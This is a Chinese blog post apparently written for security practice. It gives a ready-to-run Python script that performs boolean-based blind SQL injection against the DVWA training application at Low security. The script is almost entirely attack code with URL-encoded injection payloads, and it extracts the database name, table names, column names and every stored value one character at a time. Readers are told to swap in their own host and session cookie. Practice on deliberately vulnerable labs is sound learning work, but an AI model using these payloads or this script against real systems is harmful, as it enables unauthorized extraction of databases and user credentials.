DVWA布尔盲注Low级Python脚本

XyLin.

已于 2024-02-21 20:05:12 修改

阅读量2.2k

点赞数 2

文章标签： python 开发语言

于 2024-02-21 18:05:28 首次发布

本文链接：https://blog.csdn.net/m0_74485250/article/details/136217699

版权

本文介绍了如何利用Python的requests库执行SQL盲注攻击，通过更改HOST、IP和Cookie，获取DVWA环境中的数据库名称、表数量、字段名、记录数等信息。

摘要由CSDN通过智能技术生成

代码如下:

更改HOST,IP,Cookies即可使用

HOST为DVWA的网页URL

IP为本机IP

请求头中的Cookie改成自己的Cookie

import requests
#　标记符　☾　☽
HOST = '127.0.0.1'
IP = '127.0.0.1'
flag = 'User ID exists in the database.'

def AvtExp(url,handers):
    response = requests.get(url=url, headers=headers)
    content = response.content.decode('utf8')
    try:
        LocStart = content.index("<pre>") + 5
        LocEnd = content.index("</pre>")
    except:
        print("判断条件错误!\n请修改Flag值")
    if content[LocStart:LocEnd] == flag:
        return 1

def Baopo(url,Lens,headers):
    Turl = url
    Name = ""
    Ls = []
    for letter in range(97, 97 + 26):
        Ls.append(chr(letter))
    for letter in range(48,48+10):
        Ls.append(chr(letter))
    Ls.append('_')
    Ls.append('')
    for count in range(1,Lens+1):
        for letter in Ls:
            url = Turl[:Turl.index('☾')]+str(count)+Turl[Turl.index('☾')+1:]
            url = url[:url.index('☽')]+letter+url[url.index('☽')+1:]
            if AvtExp(url, headers):
                Name += letter
                break
    return Name

# 判断数据库长度
DataLen = 1
while True:
    url = "http://" + HOST + "/vulnerabilities/sqli_blind/?id=1%27+and+if%28length%28database%28%29%29%3D" + str(DataLen) + "%2C1%2C0%29+--+.&Submit=Submit#"
    headers = {
        'Host': IP,
        'Upgrade-Insecure-Requests': '1',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
        'Referer': f'http://{HOST}/vulnerabilities/sqli_blind/',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Cookie': 'PHPSESSID=pd6dirbsl64vvvop6aep7q6gsm; security=low',
        'Connection': 'close'
    }
    if AvtExp(url,headers):
        break
    DataLen += 1

url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+if%28substring%28database%28%29%2C☾%2C1%29%3D%27☽%27%2C1%2C0%29--+.&Submit=Submit#'
DataName = Baopo(url,DataLen,headers)
print(f'数据库名: {DataName}')

# 判断数据库有多少表
TsLen = 1
while True:
    url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+%28select+count%28table_name%29+from+information_schema.tables+where+table_schema+%3D+%27dvwa%27%29%3D{TsLen}--+.&Submit=Submit#'
    if AvtExp(url,headers):
        print(f"当前数据库当下表的数量为: {TsLen}")
        break
    TsLen += 1

for TableCs in range(TsLen):
    # 判断表长度
    TableLen = 1
    while True:
        url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+length%28%28select+table_name+from+information_schema.tables+where+table_schema+%3D+%27dvwa%27+limit+{TableCs}%2C1%29%29%3D{TableLen}--+.&Submit=Submit#'
        if AvtExp(url, headers):
            break
        TableLen += 1

    url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+substring%28%28select+table_name+from+information_schema.tables+where+table_schema+%3D+%27dvwa%27+limit+{TableCs}%2C1%29%2C☾%2C1%29%3D%27☽%27+--+.&Submit=Submit#'
    TableName = Baopo(url,TableLen,headers)
    print(f'数据表{TableCs+1}名: {TableName}')
    # 字段名数量
    ColunmShu= 1
    while True:
        url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+%28select+count%28column_name%29+from+information_schema.columns+where+table_schema+%3D+%27{DataName}%27+and+table_name+%3D+%27{TableName}%27%29%3D{ColunmShu}--+.&Submit=Submit#'
        if AvtExp(url, headers):
            print(f"-{DataName}库下的{TableName}表中有 {ColunmShu} 条字段")
            break
        ColunmShu += 1
    for ColunmCs in range(ColunmShu):
        # 字段名长度
        ColunmLen = 1
        while True:
            url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+length%28%28select+column_name+from+information_schema.columns+where+table_schema+%3D+%27{DataName}%27+and+table_name+%3D+%27{TableName}%27+limit+{ColunmCs}%2C1%29%29%3D{ColunmLen}--+.&Submit=Submit#'
            if AvtExp(url, headers):
                break
            ColunmLen += 1

        # 字段名
        url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+substring%28%28select+column_name+from+information_schema.columns+where+table_schema+%3D+%27{DataName}%27+and+table_name+%3D+%27{TableName}%27+limit+{ColunmCs}%2C1%29%2C☾%2C1%29%3D%27☽%27--+%27.&Submit=Submit#'
        ColumnName = Baopo(url, ColunmLen, headers)
        print(f'数据表{TableName}名的第{ColunmCs+1}个字段名: {ColumnName}')

        # 记录数
        RecodeLen = 1
        while True:
            url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+%28select+count%28{ColumnName}%29+from+{DataName}.{TableName}%29%3D{RecodeLen}--+.&Submit=Submit#'
            if AvtExp(url, headers):
                print(f'数据表{TableName}中有 {RecodeLen} 条记录')
                break
            RecodeLen += 1

        for RecodeCs in range(RecodeLen):
            # 记录的长度
            ValueLen = 0
            while True:
                url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+length%28%28select+{ColumnName}+from+{DataName}.{TableName}+limit+{RecodeCs}%2C1%29%29%3D{ValueLen}--+.&Submit=Submit#'
                if AvtExp(url, headers):
                    break
                ValueLen += 1

            url = f'http://{HOST}/vulnerabilities/sqli_blind/?id=1%27+and+substring%28%28select+{ColumnName}+from+{DataName}.{TableName}+limit+{RecodeCs}%2C1%29%2C☾%2C1%29%3D%27☽%27--+.&Submit=Submit#'
            ValueName = Baopo(url, ValueLen, headers)
            print(f'{DataName}.{TableName}的{ColumnName}字段中的第{RecodeCs+1}条值--> {ValueName}')